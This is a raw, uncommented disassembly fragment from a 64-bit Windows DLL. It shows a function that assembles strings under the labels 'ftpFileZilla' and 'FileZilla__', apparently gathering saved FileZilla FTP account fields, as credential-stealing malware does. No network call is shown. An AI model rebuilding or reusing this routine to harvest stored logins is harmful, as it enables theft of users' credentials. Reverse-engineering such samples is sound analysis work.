lea rcx, [rbp - 0x60]
mov qword [rbp - 0x48], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp qword [rbp + 0xd8], 0x10
mov r8, qword [rbp + 0xd0]
cmovae rdx, qword [rbp + 0xc0]
call fcn.1800bf270
mov r8d, 1
lea rdx, [0x18011518c]
lea rcx, [rbp]
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800bf270
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov r8d, 1
mov qword [rax + 0x10], rbx
lea rdx, [0x180115190]
mov qword [rax + 0x18], 0xf
lea rcx, [rbp - 0x20]
mov byte [rax], 0
call fcn.1800bf270
mov qword [rbp - 0x80], rbx
lea rdx, [rbp + 0xa0]
mov qword [rbp - 0x70], rbx
lea rcx, [rbp - 0x80]
mov qword [rbp - 0x68], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp qword [rbp + 0xb8], 0x10
mov r8, qword [rbp + 0xb0]
cmovae rdx, qword [rbp + 0xa0]
call fcn.1800bf270
mov r8d, 2
lea rdx, [0x1801151a0]
lea rcx, [rsp + 0x60]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800bf270
lea rdx, [rbp + 0x60]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rbx
movq rcx, xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x60], xmm0
mov byte [rax], 0
movdqa xmm0, xmm1
movq r8, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
movups xmmword [rbp + 0x70], xmm1
cmovae rdx, rcx
mov rcx, r12
call fcn.1800bf270
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x1800aef12
mov rcx, qword [rbp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800aef0d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af22e
call fcn.1800cd2cc
mov r8, qword [rsp + 0x78]
cmp r8, 0x10
jb 0x1800aef2f
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x60]
inc r8
call fcn.1800bfd00
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
call fcn.1800bf350
lea rcx, [rbp - 0x20]
call fcn.1800bf350
lea rcx, [rbp]
call fcn.1800bf350
lea rcx, [rbp - 0x60]
call fcn.1800bf350
lea rcx, [rbp + 0x20]
call fcn.1800bf350
lea rcx, [rbp - 0x40]
call fcn.1800bf350
lea rcx, [rsp + 0x40]
call fcn.1800bf350
lea rcx, [rbp + 0x40]
call fcn.1800bf350
lea rdx, [0x18010a2fc]
mov rcx, r14
call fcn.1800c00d0
test al, al
je 0x1800af093
lea r8, [rbp + 0x100]
lea rdx, str.ftpFileZilla
lea rcx, [rbp - 0x80]
call fcn.1800c0240
mov rdx, rax
lea r8, [0x1801158a8]
lea rcx, [rbp - 0x60]
call fcn.1800c02b0
mov rdx, rax
lea r8, [rbp + 0xe0]
lea rcx, [rsp + 0x40]
call fcn.1800c0120
mov rdx, rax
lea r8, [0x180115198]
lea rcx, [rbp - 0x20]
call fcn.1800c02b0
mov rdx, rax
lea r8, [rbp + 0xc0]
lea rcx, [rbp]
call fcn.1800c0120
mov rdx, rax
lea r8, [0x180115198]
lea rcx, [rbp + 0x20]
call fcn.1800c02b0
mov rdx, rax
lea r8, [rbp + 0xa0]
lea rcx, [rbp - 0x40]
call fcn.1800c0120
mov rdx, rax
lea r8, [0x180115194]
lea rcx, [rbp + 0x40]
call fcn.1800c02b0
mov rdx, rax
mov rcx, r12
call fcn.1800bf310
lea rcx, [rbp + 0x40]
call fcn.1800bf350
lea rcx, [rbp - 0x40]
call fcn.1800bf350
lea rcx, [rbp + 0x20]
call fcn.1800bf350
lea rcx, [rbp]
call fcn.1800bf350
lea rcx, [rbp - 0x20]
call fcn.1800bf350
lea rcx, [rsp + 0x40]
call fcn.1800bf350
lea rcx, [rbp - 0x60]
call fcn.1800bf350
lea rcx, [rbp - 0x80]
call fcn.1800bf350
lea rdx, [0x18010a500]
lea rcx, [rbp + 0x100]
call fcn.1800bf330
lea rdx, [0x18010a500]
lea rcx, [rbp + 0xc0]
call fcn.1800bf330
lea rdx, [0x18010a500]
lea rcx, [rbp + 0xe0]
call fcn.1800bf330
lea rdx, [0x18010a500]
lea rcx, [rbp + 0xa0]
call fcn.1800bf330
inc r13d
lea rcx, [rbp + 0x80]
call fcn.1800bf350
lea rdi, [0x18012f750]
mov rcx, r15
call fcn.1800dc0f8
test eax, eax
je 0x1800adc30
mov rcx, r15
call fcn.1800d8f98
lea rdx, [0x18010a2f8]
mov rcx, r14
call fcn.1800c00d0
test al, al
je 0x1800af1b0
mov edx, r13d
lea rcx, [rbp - 0x20]
call fcn.180088c80
mov r8, rax
lea rdx, str.FileZilla__
lea rcx, [rbp]
call fcn.1800c01e0
mov rdx, rax
lea r8, [0x1801151a4]
lea rcx, [rbp + 0x20]
call fcn.1800c02b0
mov rdx, rax
lea r8, [0x1801151a0]
lea rcx, [rbp - 0x40]
call fcn.1800c02b0
mov rdx, rax
lea rcx, [rbp + 0x40]
mov r8, r12
call fcn.1800c0120
mov rdx, rax
mov rcx, r12
call fcn.1800bf3b0
lea rcx, [rbp + 0x40]
call fcn.1800bf350
lea rcx, [rbp - 0x40]
call fcn.1800bf350
lea rcx, [rbp + 0x20]
call fcn.1800bf350
lea rcx, [rbp]
call fcn.1800bf350
lea rcx, [rbp - 0x20]
call fcn.1800bf350
lea rcx, [rbp + 0x120]
call fcn.1800bf350
lea rcx, [rbp + 0xe0]
call fcn.1800bf350
lea rcx, [rbp + 0xa0]
call fcn.1800bf350
lea rcx, [rbp + 0xc0]
call fcn.1800bf350
lea rcx, [rbp + 0x100]
call fcn.1800bf350
mov rcx, r14
call fcn.1800bf350
mov rdi, qword [rsp + 0x368]
mov rax, r12
mov rsi, qword [rsp + 0x3b0]
mov r15, qword [rsp + 0x360]
mov rcx, qword [rbp + 0x250]
xor rcx, rsp
call fcn.1800cd010
add rsp, 0x370
pop r14
pop r13
pop r12
pop rbx
pop rbp
ret
call fcn.1800dc358
int3
call fcn.180088c60
int3
call fcn.1800dc358
int3
call fcn.1800dc358
int3
call fcn.180088bc0
int3
call fcn.1800dc358
int3
call fcn.1800dc358
int3
call fcn.1800bfe50
int3